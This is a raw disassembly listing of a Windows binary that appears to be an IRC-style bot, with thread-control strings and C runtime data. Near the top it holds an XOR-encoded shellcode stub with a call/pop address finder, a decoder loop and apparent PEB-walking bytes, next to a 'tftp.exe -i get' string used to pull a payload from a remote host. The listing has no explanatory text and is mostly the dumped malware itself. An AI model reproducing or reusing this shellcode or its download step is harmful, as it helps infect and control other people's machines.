word_42F6D8	dw 59h			; DATA XREF: sub_4110F8+38r
		align 4
		jmp	short loc_42F6E0
; ---------------------------------------------------------------------------


loc_42F6DE:				; CODE XREF: seg002:loc_42F6E0p
		jmp	short loc_42F6E5
; ---------------------------------------------------------------------------


loc_42F6E0:				; CODE XREF: seg002:0042F6DCj
		call	loc_42F6DE


loc_42F6E5:				; CODE XREF: seg002:loc_42F6DEj
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_42F6EC:				; CODE XREF: seg002:0042F6F1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_42F6EC
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_42F702:				; CODE XREF: seg002:0042F707j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_42F702
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_42F7A4
		jnz	short loc_42F790
		retn
; ---------------------------------------------------------------------------


loc_42F790:				; CODE XREF: seg002:0042F78Dj
					; seg002:0042F79Dj
		call	loc_42F796
; ---------------------------------------------------------------------------
		align 2


loc_42F796:				; CODE XREF: seg002:loc_42F790j
		push	0
		call	sub_42F7A4
		jz	loc_42F790
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42F7A4	proc near		; CODE XREF: seg002:0042F788p
					; seg002:0042F798p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_42F7A4	endp

; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_41169D+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_41169D+35o
dword_42F820	dd 1				align 10h
dword_42F830	dd 173Fh			dd 9875h, 9873h
off_42F83C	dd offset sub_4121D1	; DATA XREF: sub_4139EAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_42F848	dd 1B3Fh	dword_42F84C	dd 19930520h, 4	dup(0)					; sub_4126D6+2o
off_42F860	dd offset sub_413A28	; DATA XREF: sub_413F2E+1Cr
dword_42F864	dd 2							; sub_41907D+46r ...
off_42F868	dd offset aNull_0	; DATA XREF: sub_41408C:loc_4143F0r
					; sub_41408C+457r
					; "(null)"
off_42F86C	dd offset aNull		; DATA XREF: sub_41408C+259r
					; "(null)"
off_42F870	dd offset word_42F87A	; DATA XREF: sub_411E44+23r
					; sub_411E44:loc_411EA5r ...
		dd offset word_42F87A
		db 2 dup(0)
word_42F87A	dw 20h			; DATA XREF: sub_41A9D0+18r
					; seg002:off_42F870o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_42FA7C	dd 1							; sub_411E44:loc_411E90r ...
byte_42FA80	db 2Eh			; DATA XREF: sub_415DBB:loc_415DFBr
					; seg000:00415E19r ...
		align 4
		dd 1, 10h
dword_42FA8C	dd 3F8h							; sub_4137CF+4Dr ...
dword_42FA90	dd 14h		off_42FA94	dd offset aExp		; DATA XREF: sub_415B04:loc_415B21r
					; "exp"
		dd 1Dh,	41D79Ch, 1Ah, 41D798h, 1Bh, 41D790h, 1Fh, 41D788h
		dd 13h,	41D780h, 21h, 41D778h, 0Eh, 41D770h, 0Dh, 41D768h
		dd 0Fh,	41D760h, 10h, 41D758h, 5, 41D750h, 1Eh,	41D74Ch
		dd 12h,	41D748h, 20h, 41D744h, 0Ch, 41D73Ch, 0Bh, 41D734h
		dd 15h,	41D72Ch, 1Ch, 41D724h, 19h, 41D71Ch, 11h, 41D714h
		dd 18h,	41D70Ch, 16h, 41D704h, 17h, 41D6FCh, 22h, 41D6F8h
		dd 23h,	41D6F4h, 24h, 41D6F0h
dbl_42FB68	dq 1.797693134862316e308 ; DATA	XREF: sub_41583F+B7r
					; sub_41583F:loc_415926r ...
		dd 0
		dd 0FFF80000h
dbl_42FB78	dq 1.797693134862316e308 ; DATA	XREF: sub_41583F+92r
					; sub_41583F:loc_4158FEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_42FB90	dt 2.3562723457267347066e313 ; DATA XREF: sub_415CEC+Dr
					; sub_415CEC+1Fr
		align 4
tbyte_42FB9C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_415CEC+31r
		align 4
off_42FBA8	dd offset sub_419D37	; DATA XREF: sub_4121E9+Fw
					; sub_41408C+3AAr
off_42FBAC	dd offset sub_419D37	; DATA XREF: sub_4121E9+5w
					; sub_41408C+3E2r
off_42FBB0	dd offset sub_419D37	; DATA XREF: sub_4121E9+14w
					; sub_416BDD+430r
off_42FBB4	dd offset sub_419D37	; DATA XREF: sub_4121E9+1Ew
					; sub_41408C+3CBr
off_42FBB8	dd offset sub_419D37	; DATA XREF: sub_4121E9+28w
off_42FBBC	dd offset sub_419D37	; DATA XREF: sub_4121E9+32w
		dd offset sub_419D40
		align 10h
		dd offset sub_416A3C
off_42FBD4	dd offset sub_416A3C	; DATA XREF: sub_416A92+29r
dword_42FBD8	dd 0D2D0920h, 5Dhdword_42FBE0	dd 5Dh,	0	byte_42FBE8	db 1			; DATA XREF: seg000:004182E9r
		db 2, 4, 8
		align 10h
dword_42FBF0	dd 3A4h		dword_42FBF4	dd 82798260h, 21h, 0dword_42FC00	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_42FCE0	dd 1							; sub_418672+Co
dword_42FCE4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42FE48	dd 0C0000005h						; sub_4188E4+Ar ...
dword_42FE4C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_42FEC0	dd 3							; sub_41B464+C8r
dword_42FEC4	dd 7							; sub_41B464+CDr
dword_42FEC8	dd 0Ah							; sub_41B591+4r
dword_42FECC	dd 8Ch							; seg000:00418832w ...
dword_42FED0	dd 0FFFFFFFFh, 0A00h					; sub_41793B:loc_4179BCo
dword_42FED8	dd 2							; sub_41907D+28r
off_42FEDC	dd offset aR6002FloatingP ; DATA XREF: sub_41907D+FCr
					; sub_41907D+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41DABCh, 9, 41DA90h, 0Ah,	41DA6Ch, 10h, 41DA40h
		dd 11h,	41DA10h, 12h, 41D9ECh, 13h, 41D9C0h, 18h, 41D988h
		dd 19h,	41D960h, 1Ah, 41D928h, 1Bh, 41D8F0h, 1Ch, 41D8C8h
		dd 78h,	41D8B8h, 79h, 41D8A8h, 7Ah, 41D898h, 0FCh, 420704h
		dd 0FFh, 41D888h
off_42FF68	dd offset dword_461280	; DATA XREF: sub_41907D+1Bo
					; sub_4193E7+55o
		align 10h
		dd offset dword_461280
		dd 101h
dword_42FF78	dd 2 dup(0)			dd 1000h, 0
dword_42FF88	dd 3 dup(0)						; sub_4186D9+12o
		dd 2, 1, 3 dup(0)
dword_42FFA8	dd 3 dup(0)						; sub_4186D9:loc_4186F7o
		dd 2 dup(2), 7 dup(0)
dword_42FFD8	dd 84h dup(0)	dword_4301E8	dd 2694h						; sub_4154F4+46r ...
		align 10h
dword_4301F0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_430208	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_430220	dd 7080h						; sub_419FA2+5Ew ...
dword_430224	dd 1							; sub_419FA2+8Bw ...
dword_430228	dd 0FFFFF1F0h						; sub_419FA2+94w ...
dword_43022C	dd 545350h, 0Fh	dup(0)dword_43026C	dd 544450h, 0Fh	dup(0)off_4302AC	dd offset dword_43022C	; DATA XREF: sub_419FA2+BAr
					; sub_419FA2+D9r ...
off_4302B0	dd offset dword_43026C	; DATA XREF: sub_419FA2+F4r
					; sub_419FA2+11Br ...
		align 8
dword_4302B8	dd 0FFFFFFFFh						; sub_41A200+1Er ...
dword_4302BC	dd 0							; sub_41A3AC+BFw
dword_4302C0	dd 0							; sub_41A3AC+E0w
		align 8
dword_4302C8	dd 0FFFFFFFFh						; sub_41A200+26r ...
dword_4302CC	dd 0							; sub_41A3AC+EAw ...
dword_4302D0	dd 0							; sub_41A3AC+23r ...
dword_4302D4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_430304	dd 16Dh							; sub_41A3AC+2Er ...
dword_430308	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_430340	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4304A0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41B9B9+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_430600	dd offset off_41DCAC	; DATA XREF: seg001:off_41DCD0o
					; seg001:0041DDFCo ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_430618	dd offset off_41DCAC	; DATA XREF: seg001:off_41DCE8o
					; seg001:0041DD7Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_430638	dd offset off_41DCAC	; DATA XREF: seg001:off_41DD00o
					; seg001:0041DD44o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_430658	dd offset off_41DCAC	; DATA XREF: seg001:off_41DD88o
					; seg001:0041DDCCo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_430678	dd offset off_41DCAC	; DATA XREF: seg001:off_41DE08o
					; seg001:0041DE44o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_419D40
		dd 109h	dup(0)
dword_430AB8	dd 0							; sub_402136+30r ...
		dd 2 dup(0)
dword_430AC4	dd 2 dup(0)	dword_430ACC	dd 0							; seg000:0040F27Fo ...
byte_430AD0	db 0			; DATA XREF: sub_40323F+10o
					; sub_4038FB+9r ...
		align 4
dword_430AD4	dd 0							; sub_4041AF+51r ...
dword_430AD8	dd 0							; seg000:0040333Fr ...
		align 10h
dword_430AE0	dd 0							; sub_405DF5+92w ...
dword_430AE4	dd 0							; sub_406142+D9w ...
		dd 256h	dup(0)
dword_431440	dd 6 dup(0)						; sub_405F2E+138o ...
dword_431458	dd 0							; seg000:00405B1Bo
dword_43145C	dd 41h dup(0)	dword_431560	dd 41h dup(0)	dword_431664	dd 0							; seg000:00405B2Dr
dword_431668	dd 0		dword_43166C	dd 0							; seg000:00405AE8r
dword_431670	dd 20h dup(0)						; seg000:00405AD3o
dword_4316F0	dd 0		dword_4316F4	dd 0							; seg000:00405AE0w
dword_4316F8	dd 0				align 10h
dword_431700	dd 0							; seg000:00405D47o
dword_431704	dd 0A2h	dup(0)	dword_43198C	dd 41h dup(0)	dword_431A90	dd 0							; seg000:00405CFAr
		align 8
dword_431A98	dd 0							; seg000:00405D59r
dword_431A9C	dd 0		dword_431AA0	dd 0		dword_431AA4	dd 0				dd 0
dword_431AAC	dd 0		dword_431AB0	dd 0							; seg000:00405C3Ao
dword_431AB4	dd 41h dup(0)	dword_431BB8	dd 41h dup(0)	dword_431CBC	dd 0							; seg000:00405C4Cr
dword_431CC0	dd 0		dword_431CC4	dd 0		dword_431CC8	dd 20h dup(0)						; seg000:00405BF2o
dword_431D48	dd 0		dword_431D4C	dd 0							; seg000:00405BFFw
dword_431D50	dd 0				align 8
dword_431D58	dd 0							; sub_4067AD+4CDr
dword_431D5C	dd 0							; seg000:004105E1r
dword_431D60	dd 0							; sub_4067AD+862r ...
dword_431D64	dd 0							; sub_4067AD+A18r ...
dword_431D68	dd 0							; sub_4067AD+9E8r ...
dword_431D6C	dd 0							; sub_4067AD+4BDr
dword_431D70	dd 0							; sub_4067AD+234r
dword_431D74	dd 0							; sub_4067AD+A10r ...
dword_431D78	dd 0							; sub_4067AD+3A9r ...
dword_431D7C	dd 0							; sub_40888C+11Er
dword_431D80	dd 0							; sub_4067AD+3B1r ...
dword_431D84	dd 0							; sub_40FADA+ADr
dword_431D88	dd 0							; sub_4067AD+53Cw
dword_431D8C	dd 0							; sub_4067AD+D2r ...
dword_431D90	dd 0							; sub_4067AD+9DBr ...
dword_431D94	dd 0							; sub_4067AD+3C9r ...
dword_431D98	dd 0							; sub_4067AD+88Er
dword_431D9C	dd 0							; sub_4067AD+2D6r
dword_431DA0	dd 0							; sub_4067AD+886r ...
dword_431DA4	dd 0		dword_431DA8	dd 0							; sub_4067AD+896r ...
dword_431DAC	dd 0							; sub_4067AD+52Fw ...
dword_431DB0	dd 0							; sub_4067AD+CAr ...
dword_431DB4	dd 0							; seg000:004080ECr
dword_431DB8	dd 0							; sub_4067AD+A6Dr ...
dword_431DBC	dd 0							; sub_4067AD+F2r
dword_431DC0	dd 0							; sub_4067AD+4B5r
dword_431DC4	dd 0							; sub_4067AD+5D8w ...
dword_431DC8	dd 0							; sub_4067AD+A08r
dword_431DCC	dd 0							; sub_4067AD+736r
dword_431DD0	dd 0		dword_431DD4	dd 0							; sub_4067AD+84Fr ...
dword_431DD8	dd 0							; sub_407BAE+15r
dword_431DDC	dd 0							; sub_4067AD+9F0r ...
dword_431DE0	dd 0							; sub_4067AD+3B9r ...
dword_431DE4	dd 0							; sub_4067AD+3C1r ...
dword_431DE8	dd 0							; sub_4067AD+C5Dr
dword_431DEC	dd 0		dword_431DF0	dd 0							; sub_4018CA:loc_401B70r ...
dword_431DF4	dd 0		dword_431DF8	dd 0							; sub_4067AD+A20r ...
dword_431DFC	dd 0							; sub_4067AD+2DEr ...
dword_431E00	dd 0							; sub_4067AD+DAr ...
dword_431E04	dd 0							; sub_4067AD+B75r ...
dword_431E08	dd 0							; sub_4018CA+2Fr ...
dword_431E0C	dd 0							; sub_4067AD+872r
dword_431E10	dd 0							; sub_4067AD+9F8r
dword_431E14	dd 0							; sub_4038FB+89r ...
dword_431E18	dd 0		dword_431E1C	dd 0							; sub_4067AD+910r ...
dword_431E20	dd 0		dword_431E24	dd 0							; seg000:00401483r ...
dword_431E28	dd 0							; sub_4067AD+855r
dword_431E2C	dd 0							; sub_4067AD+23Cr
dword_431E30	dd 0							; sub_4067AD+1C2r
dword_431E34	dd 0							; sub_4067AD+786r ...
dword_431E38	dd 0							; sub_4026D6+70r ...
dword_431E3C	dd 0							; sub_4067AD+6BEr
dword_431E40	dd 0							; sub_4067AD:loc_407088w ...
dword_431E44	dd 0							; sub_4067AD+2C6r ...
dword_431E48	dd 0							; sub_4067AD+681w ...
dword_431E4C	dd 0							; sub_4067AD+323r ...
dword_431E50	dd 0							; sub_4067AD+3D1r ...
dword_431E54	dd 0							; sub_4038FB+1C3r ...
dword_431E58	dd 0							; sub_4067AD+86Ar
dword_431E5C	dd 0							; sub_4067AD+227r
dword_431E60	dd 0							; sub_4067AD+1D2r ...
dword_431E64	dd 0							; sub_4067AD+87Ar
dword_431E68	dd 0							; sub_4067AD+606w ...
dword_431E6C	dd 0							; sub_408F0D+5Ar ...
dword_431E70	dd 0							; seg000:004014F1r ...
dword_431E74	dd 0							; sub_4067AD+316r ...
dword_431E78	dd 0							; sub_4053E1+1FCr ...
dword_431E7C	dd 0							; sub_4067AD+490r
dword_431E80	dd 0							; sub_4067AD+1DAr ...
dword_431E84	dd 0							; sub_4067AD+39Cr ...
dword_431E88	dd 0		dword_431E8C	dd 0							; seg000:004012ABr ...
dword_431E90	dd 0							; seg000:0040114Fr ...
dword_431E94	dd 0							; sub_4067AD+C2r ...
dword_431E98	dd 0							; sub_4067AD+4ADr
dword_431E9C	dd 0							; sub_4067AD+1BAr ...
dword_431EA0	dd 0		dword_431EA4	dd 0							; sub_4067AD+78Er
dword_431EA8	dd 0							; sub_402136+14Dr ...
dword_431EAC	dd 0							; sub_4038FB+242r ...
dword_431EB0	dd 0							; sub_4067AD+BAr ...
dword_431EB4	dd 0							; sub_4067AD+2CEr ...
dword_431EB8	dd 0							; sub_4063A1+9Cr ...
dword_431EBC	dd 0							; sub_4053E1+104r ...
dword_431EC0	dd 0		dword_431EC4	dd 0							; sub_40902A+4DCr
dword_431EC8	dd 0		dword_431ECC	dd 0							; sub_4067AD+BB8w ...
dword_431ED0	dd 0							; seg000:00401DB4r ...
dword_431ED4	dd 0							; sub_4067AD+49Dr
dword_431ED8	dd 0							; sub_4067AD+4C5r
dword_431EDC	dd 0							; sub_4067AD+4A5r
dword_431EE0	dd 0							; sub_402136+12Fr ...
dword_431EE4	dd 0							; sub_4067AD+1E2r ...
dword_431EE8	dd 0							; sub_4067AD+A28r ...
dword_431EEC	dd 0							; sub_4067AD+1ADr ...
dword_431EF0	dd 0							; sub_4067AD+E2r ...
dword_431EF4	dd 0							; sub_4018CA+23Er ...
dword_431EF8	dd 0							; sub_4067AD+B30r
dword_431EFC	dd 0							; sub_410481+55r
dword_431F00	dd 0							; sub_4067AD+2B9r ...
dword_431F04	dd 0		dword_431F08	dd 0							; sub_407E4E+CEr
dword_431F0C	dd 0							; sub_4067AD+AB7r ...
dword_431F10	dd 0							; seg000:00401C2Br ...
dword_431F14	dd 0							; sub_4067AD+674w ...
dword_431F18	dd 0							; sub_4067AD+BC5w ...
dword_431F1C	dd 0							; sub_4059A2+1Fr ...
dword_431F20	dd 0							; sub_4067AD+A00r ...
dword_431F24	dd 0							; sub_4063A1+B3r ...
dword_431F28	dd 0							; sub_4018CA+29Fr ...
dword_431F2C	dd 0							; sub_4042C6+39Fr ...
dword_431F30	dd 0							; sub_4067AD+B28r
dword_431F34	dd 0							; sub_4018CA+4Fr ...
dword_431F38	dd 0							; sub_4067AD+B1Br
dword_431F3C	dd 0							; sub_4067AD+ADr ...
dword_431F40	dd 0							; sub_4067AD+1CAr
		align 8
dword_431F48	dd 0							; sub_4067AD+91Dr ...
dword_431F4C	dd 0							; sub_4067AD+EAr ...
dword_431F50	dd 0							; sub_4067AD+12Bw ...
dword_431F54	dd 0							; sub_40743A+1Cr
dword_431F58	dd 0							; sub_4067AD:loc_406A02w ...
dword_431F5C	dd 0							; sub_40743A+50r
dword_431F60	dd 0							; sub_4067AD:loc_406ADCw ...
dword_431F64	dd 0							; sub_40743A+84r
dword_431F68	dd 0							; sub_40743A:loc_4074EAr
dword_431F6C	dd 0							; sub_40743A+B8r
dword_431F70	dd 0							; sub_40743A:loc_40751Er
dword_431F74	dd 0							; sub_40743A+ECr
dword_431F78	dd 0							; sub_4067AD+8D1w ...
dword_431F7C	dd 0							; sub_40743A+120r
dword_431F80	dd 0							; sub_40743A:loc_407586r ...
dword_431F84	dd 0							; sub_40743A+154r
dword_431F88	dd 0							; sub_40743A:loc_4075BAr ...
dword_431F8C	dd 0							; sub_40743A+188r
dword_431F90	dd 0							; sub_40743A:loc_4075EEr
dword_431F94	dd 0							; sub_40743A+1BCr
dword_431F98	dd 0							; sub_40743A:loc_407622r
dword_431F9C	dd 0							; sub_40743A+1F0r
dword_431FA0	dd 0							; sub_40743A:loc_407656r
dword_431FA4	dd 0							; sub_40743A+224r
dword_431FA8	dd 0							; sub_40743A:loc_40768Ar
dword_431FAC	dd 0							; sub_40743A+258r
dword_431FB0	dd 0							; sub_40743A:loc_4076BEr
dword_431FB4	dd 0							; sub_40743A+28Cr
dword_431FB8	dd 0							; sub_40743A:loc_4076F2r
dword_431FBC	dd 0							; sub_40743A+2C0r
dword_431FC0	dd 81h dup(0)	dword_4321C4	dd 5 dup(0)	dword_4321D8	dd 0							; seg000:004086DBw
dword_4321DC	dd 0							; seg000:0040849Ar ...
dword_4321E0	dd 0							; seg000:0040863Bo
dword_4321E4	dd 0							; seg000:004086D3w
dword_4321E8	dd 0Dh dup(0)						; seg000:loc_4086F5o
dword_43221C	dd 0				dd 0
dword_432224	dd 0Eh dup(0)	dword_43225C	dd 1000h dup(0)						; sub_408D9Eo ...
dword_43625C	dd 0							; sub_408D9E+Eo ...
dword_436260	dd 0Eh dup(0)	dword_436298	dd 2 dup(0)	dword_4362A0	dd 0							; sub_408C06+44r ...
		dd 5 dup(0)
dword_4362B8	dd 0							; seg000:0040AA8Fr
		dd 2D9h	dup(0)
dword_436E20	dd 0							; sub_408C06+2Do ...
		dd 7Fh dup(0)
dword_437020	dd 0							; sub_41154A+40w ...
dword_437024	dd 0							; sub_405F2E:loc_405F75r ...
dword_437028	dd 0							; sub_41140F+52w ...
dword_43702C	dd 0							; sub_4053E1+D2w ...
dword_437030	dd 0							; seg000:00406763r ...
dword_437034	dd 0							; seg000:00405B3Bw ...
byte_437038	db 0			; DATA XREF: sub_409EB0+91o
					; seg000:0040CCAFr ...
		align 4
		dd 39C5h dup(0)
dword_445750	dd 6AF0h dup(0)	dword_460310	dd 0							; seg000:00409A04w ...
		align 8
dword_460318	dd 0		dword_46031C	dd 20h dup(0)						; seg000:00409E13o ...
dword_46039C	dd 10h dup(0)						; seg000:0040AA14o
dword_4603DC	dd 24h dup(0)	dword_46046C	dd 0							; seg000:00409E2Aw ...
dword_460470	dd 0				align 10h
		dd 0
dword_460484	dd 0							; seg000:0040A406r
byte_460488	db 0			; DATA XREF: sub_40A018+28r
					; sub_40A018+30o
		align 10h
dword_460490	dd 0							; seg000:00409DDEr ...
dword_460494	dd 0							; seg000:0040A9B8r
dword_460498	dd 1Eh dup(0)						; sub_40F62A+131o ...
dword_460510	dd 0							; sub_411676+19o
dword_460514	dd 78h dup(0)	dword_4606F4	dd 0							; sub_40F9A4+4Dr ...
dword_4606F8	dd 17h dup(0)						; sub_41028F+12Do
dword_460754	dd 80h dup(0)						; sub_40F8E5+7Do ...
byte_460954	db 0			; DATA XREF: sub_40F9A4+29r
					; sub_40F9A4+34w
		align 4
dword_460958	dd 80h dup(0)						; sub_40FBFB+88o ...
dword_460B58	dd 81h dup(0)						; sub_40F501+50o ...
dword_460D5C	dd 84h dup(0)	dword_460F6C	dd 0		dword_460F70	dd 0							; sub_412D64+A4w
		align 8
word_460F78	dw 0			; DATA XREF: sub_412D64+55r
					; sub_412D64+9Ao
word_460F7A	dw 0			; DATA XREF: sub_412D64+48r
		db 2 dup(0)
word_460F7E	dw 0			; DATA XREF: sub_412D64+3Br
word_460F80	dw 0			; DATA XREF: sub_412D64+2Er
word_460F82	dw 0			; DATA XREF: sub_412D64+21r
		align 8
dword_460F88	dd 0							; sub_4130B0+91w
dword_460F8C	dd 0							; sub_41324E:loc_4132CAw ...
dword_460F90	dd 0							; sub_417750:loc_4177EAw ...
dword_460F94	dd 0		dword_460F98	dd 0		dword_460F9C	dd 0		dword_460FA0	dd 0		dword_460FA4	dd 0		dword_460FA8	dd 0							; sub_418A38+91w
dword_460FAC	dd 0							; seg000:00409CD3r ...
		dd 0
dword_460FB4	dd 0							; sub_41B5D6+9r ...
dword_460FB8	dd 0		dword_460FBC	dd 0							; sub_41BA74+4r ...
		dd 0
dword_460FC4	dd 0				dd 0
byte_460FCC	db 0			; DATA XREF: sub_413A39+2Dw
					; sub_41948C+5r
		align 10h
dword_460FD0	dd 0		dword_460FD4	dd 0							; sub_413A39+8Bw
dword_460FD8	dd 0							; sub_41897F:loc_418991r ...
		align 10h
dword_460FE0	dd 0		dword_460FE4	dd 0							; sub_4137CF:loc_4138CBr ...
dword_460FE8	dd 0		dword_460FEC	dd 0							; sub_415FBD+1Ar ...
byte_460FF0	db 0			; DATA XREF: sub_415EB9+3r
					; sub_415EB9+98r ...
		align 4
dword_460FF4	dd 0							; sub_41609B+21w ...
byte_460FF8	db 0			; DATA XREF: sub_41609B+51w
		align 4
dword_460FFC	dd 0							; sub_41666C+3Ar ...
dword_461000	dd 0							; sub_41666C+43r ...
dword_461004	dd 0							; sub_416438+5r
dword_461008	dd 0		dword_46100C	dd 0							; seg000:00418030w ...
		dd 2 dup(0)
